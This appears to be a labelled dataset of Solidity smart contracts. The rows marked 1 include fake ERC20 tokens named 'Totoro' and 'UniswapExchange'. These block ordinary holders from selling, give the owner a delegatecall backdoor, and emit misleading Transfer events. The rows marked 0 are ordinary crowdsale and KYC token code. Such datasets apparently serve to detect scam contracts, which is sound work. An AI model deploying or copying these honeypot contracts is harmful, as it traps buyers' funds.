pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,954 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Totoro {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,979 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,984 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic _token) external onlyOwner {
uint256 balance = _token.balanceOf(this);
_token.safeTransfer(owner, balance);
}
}
contract SaiexToken is StandardBurnableToken, Ownable {
string public constant name = "Saiex Token";
string public constant symbol = "SAIEX";
uint8 public constant decimals = 18;
constructor(uint _totalSupply, uint _crowdsaleSupply, uint _fundSupply, address _fundWallet) public {
totalSupply_ = _totalSupply;
balances[msg.sender] = _crowdsaleSupply;
emit Transfer(address(0), msg.sender, _crowdsaleSupply);
balances[_fundWallet] = _fundSupply;
emit Transfer(address(0), _fundWallet, _fundSupply);
}
}
contract SaiexCrowdsale is TimedCrowdsale, CanReclaimToken {
constructor(uint256 _openingTime, uint256 _closingTime, uint256 _rate, address _fundWallet, StandardBurnableToken _token, uint[] _timeBonus, uint[] _amountBonus) public
Crowdsale(_rate, _fundWallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
{
TimeBonusPricing(_timeBonus);
AmountBonusPricing(_amountBonus);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 currentRate = getCurrentRate(_weiAmount);
return currentRate.mul(_weiAmount);
}
function getCurrentRate(uint256 _weiAmount) public view returns (uint256) {
uint256 currentRate;
currentRate = rate;
uint256 timeBonusRate;
timeBonusRate = getCurrentTimeBonusRate();
currentRate = currentRate.mul(timeBonusRate).div(100);
uint256 amountBonusRate;
amountBonusRate = getCurrentAmountBonusRate(_weiAmount);
currentRate = currentRate.mul(amountBonusRate).div(100);
return currentRate;
}
struct Bonus {
uint timeOrAmount;
uint rateMultiplier;
}
uint public constant MAX_BONUS = 10;
Bonus[10] public timeBonus;
Bonus[10] public amountBonus;
uint public timeBonusCount;
uint public amountBonusCount;
function getCurrentTimeBonusRate() private constant returns (uint) {
uint i;
for(i=0; i<timeBonus.length; i++) {
if(block.timestamp < timeBonus[i].timeOrAmount) {
return timeBonus[i].rateMultiplier;
}
}
return 100;
}
function getCurrentAmountBonusRate(uint256 _weiAmount) private constant returns (uint) {
uint i;
for(i=0; i<amountBonus.length; i++) {
if(_weiAmount.mul(rate) >= amountBonus[i].timeOrAmount) {
return amountBonus[i].rateMultiplier;
}
}
return 100;
}
function TimeBonusPricing(uint[] _bonuses) internal {
require(!(_bonuses.length % 2 == 1 || _bonuses.length >= MAX_BONUS*2));
timeBonusCount = _bonuses.length / 2;
uint lastTimeOrAmount = 0;
for(uint i=0; i<_bonuses.length/2; i++) {
timeBonus[i].timeOrAmount = _bonuses[i*2];
timeBonus[i].rateMultiplier = _bonuses[i*2+1];
require(!((lastTimeOrAmount != 0) && (timeBonus[i].rateMultiplier != 100) && (timeBonus[i].timeOrAmount <= lastTimeOrAmount)));
lastTimeOrAmount = timeBonus[i].timeOrAmount;
}
require(timeBonus[timeBonusCount-1].rateMultiplier == 100);
}
function AmountBonusPricing(uint[] _bonuses) internal {
require(!(_bonuses.length % 2 == 1 || _bonuses.length >= MAX_BONUS*2));
amountBonusCount = _bonuses.length / 2;
uint lastTimeOrAmount = 0;
for(uint i=0; i<_bonuses.length/2; i++) {
amountBonus[i].timeOrAmount = _bonuses[i*2];
amountBonus[i].rateMultiplier = _bonuses[i*2+1];
require(!((lastTimeOrAmount != 0) && (amountBonus[i].timeOrAmount >= lastTimeOrAmount)));
lastTimeOrAmount = amountBonus[i].timeOrAmount;
}
require(amountBonus[amountBonusCount-1].rateMultiplier == 100);
}
function changeBonuses(uint[] _timeBonus, uint[] _amountBonus) external {
require(msg.sender == owner);
TimeBonusPricing(_timeBonus);
AmountBonusPricing(_amountBonus);
}
function changeOpeningClosingTime(uint256 _openingTime, uint256 _closingTime) external {
require(msg.sender == owner);
openingTime = _openingTime;
closingTime = _closingTime;
}
function changeRate(uint _rate) external {
require(msg.sender == owner);
rate = _rate;
}
} | 0 | 905 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Certifiable is Ownable {
Certifier public certifier;
event CertifierChanged(address indexed newCertifier);
constructor(address _certifier) public {
certifier = Certifier(_certifier);
}
function updateCertifier(address _address) public onlyOwner returns (bool success) {
require(_address != address(0));
emit CertifierChanged(_address);
certifier = Certifier(_address);
return true;
}
}
contract KYCToken is Certifiable {
mapping(address => bool) public kycPending;
mapping(address => bool) public managers;
event ManagerAdded(address indexed newManager);
event ManagerRemoved(address indexed removedManager);
modifier onlyManager() {
require(managers[msg.sender] == true);
_;
}
modifier isKnownCustomer(address _address) {
require(!kycPending[_address] || certifier.certified(_address));
if (kycPending[_address]) {
kycPending[_address] = false;
}
_;
}
constructor(address _certifier) public Certifiable(_certifier)
{
}
function addManager(address _address) external onlyOwner {
managers[_address] = true;
emit ManagerAdded(_address);
}
function removeManager(address _address) external onlyOwner {
managers[_address] = false;
emit ManagerRemoved(_address);
}
}
contract Certifier {
event Confirmed(address indexed who);
event Revoked(address indexed who);
function certified(address) public constant returns (bool);
function get(address, string) public constant returns (bytes32);
function getAddress(address, string) public constant returns (address);
function getUint(address, string) public constant returns (uint);
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
